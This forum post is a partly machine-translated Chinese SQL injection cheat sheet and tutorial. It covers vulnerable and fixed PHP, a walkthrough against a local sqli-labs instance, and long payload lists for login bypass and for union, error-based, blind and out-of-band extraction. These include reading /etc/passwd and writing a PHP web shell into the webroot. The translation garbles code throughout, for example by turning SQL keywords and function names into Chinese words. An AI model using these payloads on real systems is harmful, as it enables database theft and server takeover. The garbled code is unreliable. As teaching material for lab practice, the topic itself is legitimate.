前往
大廳
主題

终极 SQL 注入备忘单(翻譯中 未完成)

天蠍座 | 2022-08-27 14:34:17 | 巴幣 0 | 人氣 144


根据开放 Web 应用程序安全项目 (OWASP),SQL 注入是 Web 应用程序中最常见的漏洞。 此外,SQL 注入或 SQLi 攻击不仅是一种 Web 应用程序攻击,而且这种攻击向量也可以应用于 Android、iOS 应用程序以及所有使用 SQL 数据库进行数据存储的应用程序。 因为这种攻击向量非常普遍,所以我们刚刚花费大量时间尝试创建最深入 的 SQL 注入指南和备忘单, 其中的示例可以与您之前看到的任何其他内容相媲美。
什么是 SQL 和 SQLi?

SQL 代表结构化查询语言,它用于搜索、插入和管理数据库,这些数据库在后端存储各种应用程序的所有数据。 SQL 注入是一种针对基于 SQL 的应用程序的攻击,这些应用程序的前端和后端用户输入检查很弱或不存在。 在基于 SQL 的应用程序中,其开发人员在后端放置了一条 SQL 语句,该语句从用户那里获取参数或参数并满足用户的需求,但是当攻击者试图插入和拟合恶意 SQL 语句时,而不是参数,执行它们,如果对该应用程序上的那些恶意注入语句没有对策,那么这就是 SQLi 易受攻击的。 这进一步允许未经授权的用户或攻击者使用一些技巧插入他们自己的 SQL 查询,这些查询将在应用程序的数据库上执行。
SQLi 对任何应用程序有多危险?

数据库是几乎所有用户应用程序的支柱,它们完全依赖它。 除此之外,存储在数据库中的数据可能是敏感的,例如用户凭据、银行帐户详细信息、私人数据等。如果应用程序易受 SQLi 攻击,攻击者可能会查看、插入、删除甚至更新存储在应用程序的数据中的数据。数据库,取决于漏洞的程度。 该博客将介绍用于查看数据库中数据的 SQLi 攻击,其主要且唯一的目的是引起人们的注意。 未经所有者同意,请勿尝试攻击任何应用程序。

正如上面简要提到的,如果应用程序在执行或处理之前没有直接或间接地清理用户提供的输入,则存在此漏洞。 大多数这些漏洞都存在于 php 语言后端,其中开发人员必须显式使用方法、内置或用户定义的函数来清理或应用这些输入的约束。

易受攻击的 PHP 代码如下所示:

$username = $_POST['username'];
$password = $_POST['密码'];
$query = "SELECT username, password FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query ( $query )  或 死 ( '<pre>' .mysql_error ( ) . '</pre>'  ) ;

如上所示,输入按原样传递,没有应用任何清理或检查。

另一方面,可以通过在执行前准备查询的内置函数将该输入值传递给每个输入的清理,从而解决此问题。 以下是 php 中的固定示例代码:

$sqli_stmnt = $dbh->prepare("SELECT username, password FROM users WHERE username = ? AND password = ?");
$sqli_stmnt->execute(array($username, $password));  

在上面的代码中,输入是通过执行函数传递的,该函数会自动清理 php 语言中的用户输入,然后将其进一步传递给先前准备好的语句,将问号符号 (?) 替换为提供的输入,然后最后执行它。

除此之外,作为转义字符的反斜杠可以使用 php 内置函数删除:

如果(get_magic_quotes_gpc()){
$username = stripslashes($username);
}
$username = mysql_real_escape_string($username);
mysql_query(“ SELECT * FROM customers WHERE username='{$username}' ”);

SQL 注入点

攻击者想要对易受攻击的 Web 应用程序执行的查询有两个注入点。 这个注入点应该期待简单的参数,但攻击者也可以使用它在易受攻击的站点中插入查询。 SQL可以通过以下方式注入:

    URL 查询字段。
    用户表单字段。
    或者后端代码可能与数据库交互的任何其他点。

URL查询字段是我们在链接中以参数形式提供的内容,而用户表单字段是应用程序处理或存储的任何表单字段。 在这两个点上,可以注入相同的查询,但它们仅在注入介质上有所不同。 我们将只讨论本博客的 URL 查询字段,即在 URL 链接中注入查询,您可以自己尝试在用户表单字段中进行这些注入以进行练习。

实际上,对应用程序进行 SQL 注入攻击并没有硬性规定,我们使用试错法,尝试猜测开发人员在后端使用的 SQL 查询,然后尝试利用它。
SQL 注入备忘单

以下备忘单包含有关如何利用易受攻击的 SQL 数据库的信息和查询。 也许他们中的一些人不能根据它们的版本在不同的数据库上工作,而且现实生活环境可能包含意想不到的复杂 SQL 查询。 但是这个备忘单提供了一个开始使用 SQL 注入并找出对 Web 应用程序的潜在攻击的好主意
检测:

测试 SQL 注入的第一件事是尝试中断查询,目的是获取 SQL 如何在后端获取输入的语法。 这种技术适用于基于 UNION/Error 的 SQL 注入,我们强制后端数据库抛出错误。

使用这种技术,我们可以以某种方式确定后端查询结构以有效利用 SQL 注入。 可以通过将各种字符作为输入来破坏查询,例如:

    '

    “

    ')

    '))

    “))

    /

    ;

    //

    \

    -- -

之后可以使用转义字符 \ 来确定是什么破坏了查询。

一旦猜到 SQL 如何准确地接受输入,我们将尝试中断并修复查询。 这一步对于确定我们可以将自己的恶意查询放在哪里是必要的,这将在后端执行。 可以通过以下某些方式修复查询:

    ''   --+

    '   --+

    ''   #

    '    \*   *\

    '   -- -

    ' 或 '1

石蕊测试:

要知道后端运行的是什么 DBMS,错误消息可以说明很多,

    Oracle:SQL 错误:ORA-00983,缺失 = 符号

    MySQL:您的 SQL 语法有错误;  检查与您的 MySQL 服务器版本相对应的手册,以在第 1 行的 '''' LIMIT 0,1' 附近使用正确的语法

    SQL Server:[Microsoft] [SQL Server Native Client 11.0] [SQL Server] '1' 附近的语法不正确

但是在盲注的情况下,另一种方法是通过不同的数字函数来确定,例如:

    甲骨文:BITAND(1,1)

    MySQL:战俘(1,1)

    SQL Server:SQUARE(1,1)

例如,如果“list.php? id=8 ” 和“list.php? id=9- POW(1,1) ” 返回相同的输出,这意味着 MySQL 正在后端运行。

每个 DBMS 使用不同的连接运算符来存储文本输入,即:

    甲骨文:'que' ||  '里'

    MySQL:'que''ry'

    SQL Server:“que”+“ry”

例如,如果 “ id=query ” 和 “ id='que' || 'ry' ” 正在返回相同的输出,这意味着 Oracle 正在后端运行。
登录绕过

可以使用各种 SQLi 绕过包含 SQL 漏洞的登录屏幕和表单。

    行政'   #

    行政”   #

    行政'))   #

    ' 或 1=1 --+

    ' 或 1=1 #

    “ 或者 ”      ” ”

    " 或者是真的——

    " 或真 --+

    ')) 或 true --

    admin' 或 1=1 或 ''='

    admin') 或 ('1'='1'--

    管理员')或'1'='1'/*

    管理员") 或 "1"="1

    ') 或 ('1'='1 --

基于联盟:

可以执行一个或多个查询,并且可以使用 UNION 关键字将其结果附加到 MySQL 中的原始查询。

    ' 按 1 排序,睡眠 (10) --+

    ' 联合选择 @@version,sleep(10),3 --+

    ' union select @@version,sleep(10),3,"'3'"# --+

使用 UNION 关键字,可以通过递增指定的表索引号直到发生错误来确定数据库中的表数。

    ' 按 3 排序 --+

    ' 按 4 排序 --+

    ' order by 5 --+ (如果它给出错误意味着有4个表)

获取哪些列清楚地显示查询结果:

    ' 联合选择 1,2,3 --+

获取数据库版本号:

    ' 联合选择 1,database(),3 --+

获取表名:

    ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取列名:

    ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

显示来自表用户的列用户名和密码:

    ' union select 1,group_concat(username),group_concat(password) from users --+

基于错误:

可以使用计数、楼层和组函数来产生错误。 如果 MySQL 不通过基于 UNION 的查询显示输出,这些函数会很有帮助。

(select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)

枚举数据库,

' AND (select 1 from (select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b) --+

枚举当前用户,

' AND (select 1 from (select count(*), concat(0x3a,0x3a,(select current_user,0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b) --+

枚举表名,

' AND (select 1 from (select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x3a,0x3a, floor(rand()*2) )a 来自 information_schema.columns 组 a)b) --+

枚举列名,

' AND (select 1 from (select count(*), concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a, floor(rand()*2) )a 来自 information_schema.columns 组 a)b) --+

瞎的:

在 Blind SQLi 中,我们永远无法确定页面上是否存在注入,所以它对我们完全是盲目的,所以我们不得不依赖其他技术:

如果基于其他:

    ' AND if((select database())='security', sleep(10), null) --+

    ' AND if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e', sleep(10), null) --+

基于睡眠:

    ' 和睡眠(10)--+

    '; 等待延迟 '0:0:10' --+

    ')); 等待延迟 '0:0:10' --+

    “和睡眠(10)--+

基于布尔值:

    ' 并且 1>2 --+

    ' AND 1=1 --+

    ' AND (ascii(substr(database(),1,1))) <114 --+

    ' AND (ascii(substr((select column from information_schema.columns where table_name='users' limit 0,1),1,1))) = 101 --+

带外:

当结果受到限制和过滤时,即有时睡眠功能也被禁用,那么我们需要选择另一个 Channel 来转储所需的信息。

    选择 @@version 到 outfile '////127.0.0.1/tmp/results.txt';

    选择 load_file(concat('\\\\',database(),'.<own_site>/tmp/result.txt'));

    将文件'\\\\error\\abc'中的数据加载到表database.table_name中;

    选择“用户”到转储文件“../tmp/result”中;

    选择“用户”进入输出文件“../tmp/result”;

通过 load_file、dump_file、outfile 向 shell 注入 SQL:

您可以使用以下数据库函数读取或写入本地文件系统,具体取决于权限。

    select load_file(“/etc/passwd”)

    select load_file(“/etc/passwd”) into outfile “/tmp/file.txt”

    UNION SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “../var/www/html/phpBackdoor.php”

    UNION SELECT 0xPHP_PAYLOAD_IN_HEX,NULL,NULL INTO DUMPILE '../Desktop/Shell.php"'


SQL注入详细教程:

我们将使用 Audi1 的 sqli-lab 系列来实际应用我们将学到的知识,您可以在 此处 ,我们将重新创建 SQLi 攻击。 我们的目的是通过注入访问数据库中的所有数据。

当我们试图猜测后端 SQL 语句以适应我们的查询而不是预期的参数时,SQLi 攻击过程可能会有所不同。 有两个重要的东西可以帮助任何应用程序上的 SQLi 攻击向量:

    显示 SQL 错误。
    显示的 SQL 输出。

基于这两个因素,通常取决于漏洞的严重性,SQLi 分为三类。 对于所有三个类别,方法是相同的,即猜测、尝试、错误和成功。 以下是 SQL 注入的类型,从易到难:

基于这两个因素,通常取决于漏洞的严重性,SQLi 分为三类。 对于所有三个类别,方法是相同的,即猜测、尝试、错误和成功。 以下是 SQL 注入的类型,从易到难:
Union-based SQLi:

This is the easiest type of SQLi as the attacker can easily guess the backend SQL statement from SQL errors and also able to see the dumped output of injected or normal query.

At the start, webpage looks something like this,

网址: http://localhost:8081/sqli-labs/Less-1/

作为基于联合的 SQLi 漏洞,它显示 SQL 错误和结果,我们将使用它们来提取数据,这将使我们更容易。

我们现在将在 url 中附加 '?id=1' 以获得正常结果:

网址: http://localhost:8081/sqli-labs/Less-1/?id=1

至此,该站点已按预期用于普通用户。 从这里开始,我们的黑客部分开始......

准备执行恶意查询的一种方法是可视化开发人员可能在应用程序后面使用的内容。 假设本网站的开发者编写了以下 SQL 语句结构,这将有助于我们改进尝试和命中:

SELECT <col_1>, <col_2>, ..., <col_n> FROM <database_name>.<table_name> WHERE <username> = '<user_input>' AND <password> = '<user_password>' LIMIT 0,1

对于 SQLi,我们还需要至少具备 SQL 的基本知识,并且随着我们的进行,我们也会理解它。 在这里,尖括号中的词仍有待探索,剩下的部分是语法和语言关键字,它们很可能与上述相同但可能不同。

我们要做的第一件事是尝试打破 SQL 语句,这在大多数情况下是通过在 SQL 中添加一个单反逗号 (')、双反逗号 (“) 或一个反斜杠 (\) 的转义字符来完成的。 在通常的 SQL 语句中,通常使用单引号或双引号将字符串括起来用于定义或用户输入,当我们在查询中使用其中任何一个时,会导致 SQL 语句整体失衡并导致错误弹出在屏幕上:

网址: localhost:8081/sqli-labs/Less-1/?id=1\

此错误可能仅针对单个反逗号、双反逗号或转义字符显示,我们必须检查错误发生在哪个符号上。

现在我们将为我们的恶意 SQL 查询腾出空间,以便在简单参数中插入。 为此,我们将首先查看我们的 SQL 是否被执行,我们将通过使用不同策略再次平衡语句来确保它。 请注意,在后端,开发人员可能使用了括号,我们也必须进行平衡。

我们还可以添加注释字符来平衡语句,并忽略它后面的任何额外的引号或其他字符。 在 SQL 中,可以通过使用两个连字符和一个空格来注释文本,在 URL 编码表示中统称为“–+”。 声明再次变得平衡:

网址: localhost:8081/sqli-labs/Less-1/?id=1'–+

此外,如前所述,在后端语句中,如果开发人员使用了括号,我们还需要在注释符号之前添加右括号,以平衡可能已被放弃的左括号。

首先,我们需要知道开发人员正在查询的表的列数,这将进一步帮助我们在与原始输出联合后转储所需的查询输出。

对于列数,我们将使用 SQL 的“ORDER BY”子句,它根据给定的列号对数据库表中的条目进行升序或降序排序,如果我们提供的列号超过输出中的总列号表,它会给出一个错误。 'ORDER BY' 子句的用法如下:

SELECT col1 FROM table1 ORDER BY 1

这将对第 1 列的查询输出进行排序。

我们将尝试从小到大的随机数,并不断尝试,直到找到查询成功的最大列数。 我们也可以尝试不同的值区间,慢慢缩小我们的发现范围。

对于我们的测试站点,成功输出的最大可能列数是三个:

网址: localhost:8081/sqli-labs/Less-1/?id=1'+order+by+3–+

请注意,上面屏幕截图中的 URL 中的“%27”是单个反逗号 (') 的 URL 编码形式,并且“+”用于 URL 中的空格。

这就是“ORDER BY”子句中超出最大列数的错误的样子:

网址: localhost:8081/sqli-labs/Less-1/?id=1'+order+by+4–+

现在,我们将通过将“ORDER BY”子句替换为“UNION”子句来在屏幕上找到一个合适的位置来转储数据,该子句合并两个表的条目:

网址: localhost:8081/sqli-labs/Less-1/?id=1'+union+select+1,2,3–+

我们现在刚刚对要联合的列的值进行硬编码,以查看我们的值正在被转储。 在两个表的联合中,两个表的列数应该相等,在这种情况下为三。 它仍然显示与以前相同的输出,因为它只能显示前一个输出的第一行,而不是我们在恶意查询中查询的输出。 为了显示我们的数据,我们将用无效的 id 替换有效的 id,以便联合后剩下的唯一行将是我们注入查询的输出。

网址: localhost:8081/sqli-labs/Less-1/?id=-1'+union+select+1,2,3–+

如上面的屏幕截图所示,我们放置了 -1 以使 id 无效,因此我们现在显示的是“2”和“3”的数据,而不是原始数据。

现在,使用数据库函数来提取基本信息:

网址: localhost:8081/sqli-labs/Less-1/?id=-1'+union+select+1,database(),3–+

我们已将注入查询中的“2”替换为“database()”函数,因此它显示当前数据库名称为“security”。 一些更常见的 SQL 函数以及一些细节,用于提取信息,如下所示:

    version():显示当前使用的 SQL 版本。
    @@datadir:显示SQL数据库所在的目录。
    user() 或 current_user:这两个函数都显示创建或管理数据库的用户。

要提取表名、列名和字段信息,我们可以使用名为“information_schema”的数据库中的特定表,默认情况下,该表会保留和维护所有用户创建的数据库、表和列的元数据。

要从当前数据库中提取表,我们将使用以下语句:

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;

该语句将返回当前数据库中的一个表名,我们可以通过递增 LIMIT 子句后的第一个参数来逐个遍历所有表名,我们可以提取所有表的名称。

当前数据库中第一个表的名称是“电子邮件”:

网址: localhost:8081/sqli-labs/Less-1/?id=-1'+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1 –+

同样,要从指定表中提取列名,我们将使用 'information_schema' 数据库中的 'columns' 表:

SELECT column_name FROM information_schema.columns WHERE table_name = <specific_table_name> LIMIT 0,1;

与表名一样,我们从指定表中提取列名,并且可以遍历表“列”的所有行:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+

在上面的屏幕截图中,它显示名为 'security' 的数据库中的表 'emails' 的第一列名称是 'id'。 同样,发现第二列名称为“email_id”。

现在我们将注入以下 SQL 语句:

从电子邮件限制 0,1 中选择 email_id

注入后,完整的查询和打印输出可以在下面的屏幕截图中看到:

网址: localhost:8081/sqli-labs/Less-1/?id=-1'+union+select+1,email_id,3+from+emails+limit+0,1–+

同样,通过注入 SQL 查询并枚举输出,我们可以访问存储在数据库中的所有信息。
基于错误的 SQLi:

在这种类型的 SQLi 中,只显示错误,而不是输出,我们必须将 SQL 查询输出转储到 SQL 错误中。 我们的恶意 SQL 查询的输出将不会显示,而只会显示一条一般消息,如下面的屏幕截图所示:

URL: localhost:8081/sqli-labs/Less-5/?id=1

如果我们加上单引号、双引号,屏幕上会显示SQL错误:

网址: localhost:8081/sqli-labs/Less-5/?id=1'

由于我们现在对 SQLi 有了很好的了解,因此我们将仅详细说明重要且复杂的步骤。

对于基于错误的 SQLi,方法是相同的,只是我们只能使用特定类型的查询。 为了触发 SQL 错误来转储我们的查询输出,语句会变得有点复杂,我们将使用:

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a) b;

现在让我们尝试将上述查询分解为子查询,并尝试了解这个复杂查询的每个部分在做什么。

在上面的语句中,我们的恶意查询是 'SELECT database()',简而言之,它会向我们显示当前的数据库名称,但会出现 SQL 错误。 背后的机制是我们正在获取可能重复的多行或条目,我们将尝试将它们放入一个包或视图中。 当存在重复行时,SQL 会生成一个运行时错误,用于插入重复行,这也将显示我们所需的输出。 在我们了解了这个复杂查询的工作原理之后,我们可以将查询的“SELECT database()”部分替换为我们在以前的 SQLi 类型中经历过的更大更广泛的查询,我将把它留给你尝试广泛的查询。

上述复杂查询中的子查询及其使用目的如下:

选择数据库():

只会打印当前数据库的名称。 这可以由要显示其数据的其他查询以错误的形式替换。

地板(兰德()* 2):

将打印一个随机数,零或一。

CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2)):

这将连接数据库名称左侧的两个冒号和右侧的两个冒号,并在其末尾随机连接 0 或 1。

SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a

初始“select”和“from”之间的查询部分将被迭代多次,这将等于数据库 information_schema 中的列表中的行。 此迭代是有意的,因为它会生成重复的行,这会在执行时产生运行时错误。 这部分查询作为一个整体将根据“a”分组选择行数,“a”是先前连接结果的别名,以及连接部分。

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a) b;

我们刚刚将前一个查询嵌套到另一个 select 语句中以获取一列。 我们不关心它在此处返回的结果并将其硬编码为 1,因为我们会发现只有 SQL 错误有用,这是我们唯一关心的问题。 查询末尾还有一个“b”,这是因为 SQL 限制我们为嵌套查询的内部语句提供别名,这就是“b”的原因。 我们将语句包装在简单的“SELECT”中的目的是只返回一行。

现在我们在这里做了很多功课,现在是表演时间!

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

While running the query you might get this type of error as above sometimes when there are no duplicates, we will ignore it and keep trying to get SQL errors, by refreshing the page.

URL: localhost:8081/sqli-labs/Less-5/?id=1'+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, x3a, (SELECT database()), 0x3a, 0x3a, floor (rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

就像这样,我们在每边的两个冒号之间得到数据库的名称。 同样,我们可以从数据库中提取所有数据。
盲 SQLi:

既然我们已经介绍了 union 和基于错误的 SQL 注入,那么我们理解盲目的 sqli 就不难了。 哲学是相同的,只是有一点额外的技巧。

URL: localhost:8081/sqli-labs/Less-8/?id=1’

如果我们查看我们的问题,我们会发现我们不会收到 SQL 错误消息以及 SQL 查询没有输出。 现在问题来了,除了 SQL 输出和 SQL 错误,我们可以在哪里转储我们的数据。 为了解决这个问题,我们可以使用 sleep() 函数或布尔表达式,因为我们只能解释真假结果。

因此,有两种方法可以回答我们基于真假的查询:
基于时间延迟:

如前所述,我们可以为此目的使用“sleep()”函数,该函数会在指定时间的 SQL 查询响应中产生延迟,该时间以秒为参数提供。 如果我们插入一个 sleep() 函数并且它可以工作,我们可以将其解释为 true ,否则我们可以将其解释为 false 。
基于布尔值:

另一方面,我们可以推断出正确或错误的输出,如果我们看到一个肯定的消息,当查询得到满足时显示,或者什么都不显示,当查询不满足时显示。 为此,我们可以首先设计一个真实的陈述,并看到正在显示的一般信息。 然后,我们可以添加查询以查看消息是否仍在显示,这意味着它是 true,否则为 false。

所以我们的问题现在已经分解为分析我们将如何将表或数据库转换为真或假查询。 'substring()' 还有另一个有用的函数,它返回给定字符串的子字符串。 我们将使用该函数来创建布尔查询。 'Substring()' 函数接受三个参数,即原始字符串、子字符串的起始索引(索引从一开始)和用于标记的字符数。

substring(<original_string>, <starting_index>, <number_of_characters>)

我们还将使用'if()'语句进行条件执行,其中第一个参数是条件,第二个是条件为真时要执行的任务,第三个参数是条件为假时要执行的任务。

if(<条件>, <query1>, <query2>)

所以我们可以遍历字母或数字,看看是否满足条件。

我们知道数据库名称是“安全”,我们可以通过:

if( (子字符串(数据库(), 0, 1) == 's'), sleep(5), null)

如果数据库名称的第一个字符是's',则数据库回复将延迟5秒,否则不执行任何操作。 它按预期将响应延迟了 5 秒。

网址: [url=http://localhost:8081/sqli-labs/Less-8/?id=1'+and+if((substring(database(),1,1)]http://localhost:8081/sqli-labs/Less-8/?id=1'+and+if((substring(database(),1,1) = 's'),sleep(5),空)–+

In boolean-based, the thing to notice is if the general output message is displayed or not. We use something like:

1’ and (substring(database(), 1, 1) = ‘s’) --+

If that general message is showing, this query returns true and false if there is no message displayed:

网址: localhost:8081/sqli-labs/Less-8/?id=1'+and+(substring(database(), 1, 1) = 's')–+

使用这种方法并尝试每一种可能性是非常麻烦的。 有一种效率相对较低的方法,我们可以使用“ascii()”函数将字符转换为 ascii 代码,这样我们可以直接比较字符数字,因此可以使用关系运算符。 我们可以使用 ascii 字符,例如:

if( (ascii(substring(database(), 0, 1)) = 115), sleep(5), null )

这将返回 true,因为 's' 的 ascii 代码是 115。

所以我们也可以做到:

if( (ascii(substring(database(), 0, 1)) > 100), sleep(5), null )

这也将返回 true,因为 ascii 100,'d' 的 ascii 小于 115,'s' 的 ascii。 我们可以进一步通过区间比较,以更有效的方式猜测字符,同样可以从数据库中提取数据。

这是我们通过 SQL 注入攻击、它的预防和针对不同程度的漏洞和类型的数据提取的旅程的结束。

創作回應

相關創作

更多創作